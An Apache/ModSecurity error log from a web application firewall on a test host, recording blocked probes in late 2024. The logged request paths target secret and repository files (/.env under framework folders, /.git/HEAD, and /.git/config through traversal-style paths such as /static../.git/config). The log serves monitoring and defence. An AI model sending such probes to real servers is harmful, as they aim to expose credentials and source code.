[Tue Nov 26 11:15:28.910487 2024] [:error] [pid 3564711] [client 179.43.188.122:49814] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "Z0WfwBF8ID7EKZVH1cUHLgAAAAI"]
[Tue Nov 26 11:15:28.910688 2024] [:error] [pid 3564711] [client 179.43.188.122:49814] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "Z0WfwBF8ID7EKZVH1cUHLgAAAAI"]
[Tue Nov 26 11:15:28.915795 2024] [authz_core:error] [pid 3567958] [client 179.43.188.122:49828] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/env
[Tue Nov 26 11:15:28.919599 2024] [:error] [pid 3567972] [client 179.43.188.122:49844] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z0WfwMKxt2Nz3NZjFg88kQAAAAo"]
[Tue Nov 26 11:15:28.919959 2024] [:error] [pid 3567972] [client 179.43.188.122:49844] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z0WfwMKxt2Nz3NZjFg88kQAAAAo"]
[Tue Nov 26 11:15:28.920285 2024] [:error] [pid 3567972] [client 179.43.188.122:49844] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Z0WfwMKxt2Nz3NZjFg88kQAAAAo"]
[Tue Nov 26 11:15:28.924953 2024] [:error] [pid 3565750] [client 179.43.188.122:49848] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wordpress/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4wAAAAY"]
[Tue Nov 26 11:15:28.925327 2024] [:error] [pid 3565750] [client 179.43.188.122:49848] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wordpress/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4wAAAAY"]
[Tue Nov 26 11:15:28.925600 2024] [:error] [pid 3565750] [client 179.43.188.122:49848] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wordpress/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4wAAAAY"]
[Tue Nov 26 11:15:28.946681 2024] [authz_core:error] [pid 3564709] [client 179.43.188.122:49868] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Tue Nov 26 11:15:28.946979 2024] [:error] [pid 3564717] [client 179.43.188.122:49858] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/drupal/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lgAAAAU"]
[Tue Nov 26 11:15:28.947558 2024] [:error] [pid 3564717] [client 179.43.188.122:49858] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/drupal/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lgAAAAU"]
[Tue Nov 26 11:15:28.948015 2024] [:error] [pid 3564717] [client 179.43.188.122:49858] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/drupal/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lgAAAAU"]
[Tue Nov 26 11:15:28.952352 2024] [:error] [pid 3567938] [client 179.43.188.122:49876] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/html/.env"] [unique_id "Z0WfwDp_ZJjuaB8vwsu29AAAAAg"]
[Tue Nov 26 11:15:28.952782 2024] [:error] [pid 3567938] [client 179.43.188.122:49876] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/html/.env"] [unique_id "Z0WfwDp_ZJjuaB8vwsu29AAAAAg"]
[Tue Nov 26 11:15:28.953100 2024] [:error] [pid 3567938] [client 179.43.188.122:49876] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/html/.env"] [unique_id "Z0WfwDp_ZJjuaB8vwsu29AAAAAg"]
[Tue Nov 26 11:15:28.955254 2024] [:error] [pid 3567955] [client 179.43.188.122:49890] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6TAAAAAs"]
[Tue Nov 26 11:15:28.955572 2024] [:error] [pid 3567955] [client 179.43.188.122:49890] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6TAAAAAs"]
[Tue Nov 26 11:15:28.955768 2024] [:error] [pid 3567955] [client 179.43.188.122:49890] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6TAAAAAs"]
[Sun Dec 01 05:04:37.281807 2024] [:error] [pid 3676102] [client 35.159.63.21:47440] [client 35.159.63.21] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z0vgVSruwevJK6uX-rrZRwAAAAA"]
[Sun Dec 01 05:04:37.284259 2024] [:error] [pid 3676102] [client 35.159.63.21:47440] [client 35.159.63.21] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z0vgVSruwevJK6uX-rrZRwAAAAA"]
[Sun Dec 01 05:04:37.284716 2024] [:error] [pid 3676102] [client 35.159.63.21:47440] [client 35.159.63.21] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z0vgVSruwevJK6uX-rrZRwAAAAA"]
[Sun Dec 01 23:46:11.061736 2024] [:error] [pid 3676083] [client 18.144.36.218:32844] [client 18.144.36.218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z0znM-whA-QSPvXi4dw29AAAAAk"]
[Sun Dec 01 23:46:11.062331 2024] [:error] [pid 3676083] [client 18.144.36.218:32844] [client 18.144.36.218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z0znM-whA-QSPvXi4dw29AAAAAk"]
[Sun Dec 01 23:46:11.062838 2024] [:error] [pid 3676083] [client 18.144.36.218:32844] [client 18.144.36.218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z0znM-whA-QSPvXi4dw29AAAAAk"]
[Mon Dec 02 23:14:25.876118 2024] [:error] [pid 3714635] [client 54.226.16.153:37184] [client 54.226.16.153] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "Z04xQTh9Fq_e1x7R3zZCHwAAAB4"]
[Mon Dec 02 23:14:25.876857 2024] [:error] [pid 3714635] [client 54.226.16.153:37184] [client 54.226.16.153] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "Z04xQTh9Fq_e1x7R3zZCHwAAAB4"]
[Mon Dec 02 23:14:25.877279 2024] [:error] [pid 3714635] [client 54.226.16.153:37184] [client 54.226.16.153] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "Z04xQTh9Fq_e1x7R3zZCHwAAAB4"]
[Mon Dec 02 23:14:26.499834 2024] [:error] [pid 3698617] [client 54.226.16.153:37200] [client 54.226.16.153] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z04xQur8uPRY1CDB3KIDJQAAAAg"]
[Mon Dec 02 23:14:26.500346 2024] [:error] [pid 3698617] [client 54.226.16.153:37200] [client 54.226.16.153] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z04xQur8uPRY1CDB3KIDJQAAAAg"]
[Mon Dec 02 23:14:26.500768 2024] [:error] [pid 3698617] [client 54.226.16.153:37200] [client 54.226.16.153] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z04xQur8uPRY1CDB3KIDJQAAAAg"]
[Tue Dec 03 03:51:54.658285 2024] [:error] [pid 3718390] [client 179.43.188.122:49290] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2JwAAAAE"]
[Tue Dec 03 03:51:54.659034 2024] [:error] [pid 3718390] [client 179.43.188.122:49290] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2JwAAAAE"]
[Tue Dec 03 03:51:54.659400 2024] [:error] [pid 3718390] [client 179.43.188.122:49290] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2JwAAAAE"]
[Tue Dec 03 03:51:54.662722 2024] [:error] [pid 3718393] [client 179.43.188.122:49292] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbFgAAAAQ"]
[Tue Dec 03 03:51:54.663072 2024] [:error] [pid 3718393] [client 179.43.188.122:49292] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbFgAAAAQ"]
[Tue Dec 03 03:51:54.663277 2024] [:error] [pid 3718393] [client 179.43.188.122:49292] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbFgAAAAQ"]
[Tue Dec 03 03:51:54.697189 2024] [:error] [pid 3718403] [client 179.43.188.122:49304] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/img../.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBYQAAAAU"]
[Tue Dec 03 03:51:54.697990 2024] [:error] [pid 3718403] [client 179.43.188.122:49304] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/img../.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBYQAAAAU"]
[Tue Dec 03 03:51:54.698449 2024] [:error] [pid 3718403] [client 179.43.188.122:49304] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/img../.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBYQAAAAU"]
[Tue Dec 03 03:51:54.700550 2024] [:error] [pid 3718389] [client 179.43.188.122:49318] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/css../.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFQAAAAA"]
[Tue Dec 03 03:51:54.701174 2024] [:error] [pid 3718389] [client 179.43.188.122:49318] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/css../.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFQAAAAA"]
